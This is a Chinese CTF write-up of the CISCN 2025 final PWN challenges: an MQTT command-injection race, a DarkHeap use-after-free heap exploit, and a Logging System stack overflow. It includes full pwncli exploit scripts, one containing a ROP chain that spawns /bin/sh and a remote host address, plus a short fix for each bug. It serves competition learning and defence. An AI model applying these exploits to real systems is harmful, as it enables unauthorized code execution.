pwn· 更新于 2026-05-26

ciscn-2025-决赛

Ciscn 2025 决赛 PWN

Day 1

mqtt

漏洞点

image-20250723132403510

存在命令注入,但是需要绕过必须为字母数字的 check

注意到程序有sleep(2)而且为多线程,因此这里是条件竞争

先输入合法 vin,再进行命令注入

Exp

使用 mqttx 订阅diag,得到VIN,计算得到auth

#include <stdio.h>

int main() {
    char a1[] = "111111111a";
    int v3 = 0;
    int i = 0;
    for (i = 0; a1[i]; ++i)
        v3 = 31 * v3 + *(char*)(i + a1);
    printf("%08x\n", v3);
}

然后发送

image-20250719113706904

image-20250719113455689

Day 2

DarkHeap

解法 1

无泄漏 UAF

以下 exp 来自 Tplus 师傅🥰(tqllll)

源码

	  /* While we're here, if we see other chunks of the same size,
	     stash them in the tcache.  */
	  size_t tc_idx = csize2tidx (nb);
	  if (tcache && tc_idx < mp_.tcache_bins)
	    {
	      mchunkptr tc_victim;

	      /* While bin not empty and tcache not full, copy chunks over.  */
	      while (tcache->counts[tc_idx] < mp_.tcache_count
		     && (tc_victim = last (bin)) != bin)
		{
		  if (tc_victim != 0)
		    {
		      bck = tc_victim->bk;
		      set_inuse_bit_at_offset (tc_victim, nb);
		      if (av != &main_arena)
			set_non_main_arena (tc_victim);
		      bin->bk = bck;  // 这里会将地址写入
		      bck->fd = bin;

		      tcache_put (tc_victim, tc_idx);
	            }
		}
	    }

首先

add(7, 0x108)
add(8, 0x118)

在 tcache_struct 留下标志位

然后分配 0x88 大小 chunk,填满 tcache 和 smallbin

修改 smallbins 第七个 chunk 的 bk 位,使其指向 tcache_struct 的 0x100 链表位置

再申请 8 个 0x88 大小的 chunk,触发 smallbin reverse into tcache

这样,tcache_struct 的 0x100 链表位置就会链入 0x90 的 tcache 链表

image-20250723135122192

如法炮制,这次修改 smallbins 第八个 chunk 的 bk 位,使其指向 tcache_struct 的 0x120 链表位置

再申请 8 个 0x88 大小的 chunk,触发 smallbin reverse into tcache

这样,libc 地址就会写入 tcache_struct 的 0x120 链表位置

image-20250723135256329

接着就是申请 0x88,修改 0x120 的低位,指向 libc got,改为 one gadget,触发报错

image-20250723135407773

无爆破版!!!!

#!/usr/bin/env python3
from pwncli import *

context.terminal = ["tmux", "splitw", "-h", "-l", "130"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0
cmd = '''
    set follow-fork child
    brva 0x1483
    brva 0x15A6
    brva 0x154F
    brva 0x165A
    b malloc.c:3932
    set $heap = $rebase(0x40A0)
    dir /mnt/f/Documents/CTF/glibc/glibc-2.35
    c
'''
gift.elf = ELF(elf_path := './DarkHeap_patch')
if local_flag == "remote":
    addr = ''
    ip, port = re.split(r'[\s:]+', addr)
    gift.io = remote(ip, port)
else:
    gift.io = process(elf_path)
    # gift.io = gdb.debug(elf_path, gdbscript=cmd, sysroot='/')
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()

IAT = b'Choice:'


def add(idx, size):
    sla(IAT, b'1')
    sla(b'Index', str(idx))
    sla(b'Size', str(size))


def dele(idx):
    sla(IAT, b'3')
    sla(b'Index', str(idx))


def edit(idx, data):
    sla(IAT, b'2')
    sla(b'Index', str(idx))
    sa(b'Content', data)


# launch_gdb(cmd)


add(7, 0x108)
add(8, 0x118)
heap_base = get_current_heapbase_addr()
libc_base = get_current_libcbase_addr()

for i in range(7):
    add(i, 0x88)
dele(7)
dele(8)
for i in range(7, 15):
    add(i, 0x88)
    add(0xF, 0x10)
for i in range(15):
    dele(i)
add(0, 0x4F8)
dele(0)
add(1, 0xB8)
add(2, 0x500 - 0xC0 - 8)
edit(
    0,
    flat(
        {
            0xB8: 0x91,
            0xB8 + 0x90: 0x91,
            0xB8 + 0x90 * 2: 0x91,
        },
        filler=b'\x00',
    ),
)
dele(2)
add(0xF, 0x1500)  # put last unsorted into small
add(2, 0x1500)  # align
dele(0xF)
edit(0xD, p64(0) + p16((heap_base & 0xFFFF) + 0x90 + 8 * (0x100 - 0x20) // 16 - 0x10))
for i in range(8):
    add(i, 0x88)

for i in range(7):
    add(i, 0x98)
for i in range(7, 15):
    add(i, 0x98)
    add(0xF, 0x10)
for i in range(15):
    dele(i)
add(0, 0x4F8)
dele(0)
add(1, 0xB8)
add(2, 0x500 - 0xC0 - 8)
edit(
    0,
    flat(
        {
            0xB8: 0xA1,
            0xB8 + 0xA0: 0xA1,
            0xB8 + 0xA0 * 2: 0xA1,
        },
        filler=b'\x00',
    ),
)
dele(2)
add(0xF, 0x128)  # put last unsorted into small
edit(0xE, p64(0) + p16((heap_base & 0xFFFF) + 0x90 + 8 * (0x120 - 0x20) // 16 - 0x10))
for i in range(8):
    add(i, 0x98)
add(0, 0x88)
# edit(0, p64(0) * 2 + p32(libc.sym._IO_2_1_stdout_ & 0xFFFF))

edit(0, p64(0) * 2 + p32((libc_base + 0x21A080) & 0xFFFFFFFF)[:3])
add(1, 0x118)
edit(1, p64(0) * 3 + p32((libc_base + get_current_one_gadget_from_libc()[4]) & 0xFFFFFFFF)[:3])
add(2, 0xB8)
dele(2)
dele(2)

ia()

解法 2

以下解法来自中大的师傅

由于程序是 fork 的,因此地址不会改变,可以采用逐位爆破

具体做法就是先申请,然后 free 到 unsortbin,从地位开始改 unsortbin 里存的 libc 地址,如果改对了,程序不会爆错,改错了就会

重复即可爆破出完整 libc 地址

Fix

把 free 后的 chunk fd 位清空即可

听说 call exit 也能过

(nop free 也能利用成功也是神人了,逆天 check 脚本)

Logging System

拿到的是依托,先恢复一下符号

image-20250723140050539

程序先 cin 读入一个 string

然后将 string 转成 sstream,逐个字节读入数据

需要注意的是,程序要求输入 base64

image-20250723140203000

这里是 base64decode

校验 1,首位必须是 0xB9

image-20250723140233979

接着读入标志位

image-20250723140253615

标志位有 0x80 0x81 0x82 0x83,这些标志位代表下一次读入是读入多少字节的数据

0x80 - 1

0x81 - 2

0x82 - 4

0x83 - 8

接着又是一个校验位,0xBDimage-20250723140439147

和上面一样,也是先读标志位,然后读入数据

不同的是,这里读入数据是作为下一次读入的数据长度,如图v76

image-20250723140553808

同样的,下面重复一次image-20250723140627319

最后读入校验码,同样是先读入标志位

image-20250723140737683

紧接着程序计算 CRC 校验值,需要我们最后一次读入的校验值和程序计算的一致

不需要自己计算,打断点动调即可获得校验值

image-20250723140903275

紧接着程序执行memcpy,这里存在栈溢出

image-20250723140928210

Break

简单的 ROP,用 ropper 自动生成的

需要注意的是,程序在最后会调用 sstream 的析构函数,需要满足里面的一些条件判断,让程序不走到 free,不然会崩溃

动调一下修改就行

image-20250723141106463

image-20250723141125722

image-20250723141137277

#!/usr/bin/env python3
from pwncli import *
from base64 import *

context.terminal = ["tmux", "splitw", "-h", "-l", "130"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0
cmd = '''
    b *0x405D15

    b *0x405D50
    b *0x405D9A
    ida
    c
'''
gift.elf = ELF(elf_path := './LoginSystem')
if local_flag == "remote":
    addr = '39.96.183.124 20603'
    ip, port = re.split(r'[\s:]+', addr)
    gift.io = remote(ip, port)
else:
    gift.io = process(elf_path)
    # gift.io = gdb.debug(elf_path, gdbscript=cmd, sysroot='/')
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()
launch_gdb(cmd)

ru(b'--> ')

p = p64
IMAGE_BASE_0 = 0x0000000000400000  # efa234332e5336c9d85b244c515b43af2c82417ea32f1f70f25663d3dfd566e3
rebase_0 = lambda x: p64(x + IMAGE_BASE_0)

rop = b''

rop += rebase_0(0x00000000000071B8)  # 0x00000000004071b8: pop r13; ret;
rop += b'//bin/sh'
rop += rebase_0(0x0000000000007150)  # 0x0000000000407150: pop rbx; ret;
rop += rebase_0(0x000000000053E160)
rop += rebase_0(0x00000000003C2B42)  # 0x00000000007c2b42: mov qword ptr [rbx], r13; pop rbx; pop rbp; pop r12; pop r13; ret;
rop += p(0xDEADBEEFDEADBEEF)
rop += p(0xDEADBEEFDEADBEEF)
rop += p(0xDEADBEEFDEADBEEF)
rop += p(0xDEADBEEFDEADBEEF)
rop += rebase_0(0x00000000000071B8)  # 0x00000000004071b8: pop r13; ret;
rop += p(0x0000000000000000)
rop += rebase_0(0x0000000000007150)  # 0x0000000000407150: pop rbx; ret;
rop += rebase_0(0x000000000053E168)
rop += rebase_0(0x00000000003C2B42)  # 0x00000000007c2b42: mov qword ptr [rbx], r13; pop rbx; pop rbp; pop r12; pop r13; ret;
rop += p(0xDEADBEEFDEADBEEF)
rop += p(0xDEADBEEFDEADBEEF)
rop += p(0xDEADBEEFDEADBEEF)
rop += p(0xDEADBEEFDEADBEEF)
rop += rebase_0(0x0000000000005D99)  # 0x0000000000405d99: pop rdi; ret;
rop += rebase_0(0x000000000053E160)
rop += rebase_0(0x00000000000079C4)  # 0x00000000004079c4: pop rsi; ret;
rop += rebase_0(0x000000000053E168)
rop += rebase_0(0x0000000000128753)  # 0x0000000000528753: pop rdx; ret;
rop += rebase_0(0x000000000053E168)
rop += rebase_0(0x0000000000009387)  # 0x0000000000409387: pop rax; ret;
rop += p(0x000000000000003B)
rop += rebase_0(0x000000000030C546)  # 0x000000000070c546: syscall; ret;

pay1 = flat(
    {
        0x150: 0x947FC0,  # 修改以不走free的分支
        0x250: 0x947FC0,  # 修改以不走free的分支
        0x7C8: rop,
    },
    filler=b'\x00',
)

payload = b''
payload += b'\xb9'
payload += b'\x80\x03'
payload += b'\xbd'
payload += b'\x80\x05'
payload += b'admin'
payload += b'\xbd'
payload += b'\x81' + p16_ex(len(pay1))
payload += pay1
payload += b'\x82' + p64(0x633F1F27)

payload = payload.ljust(0x100, b'a')

sl(b64encode(payload))

ia()

Fix

将memcpy的 len 改成 256 即可

embbed_httpd

Fix

晚点补……

评论
NETEASE歌单
未选择曲目
0:000:00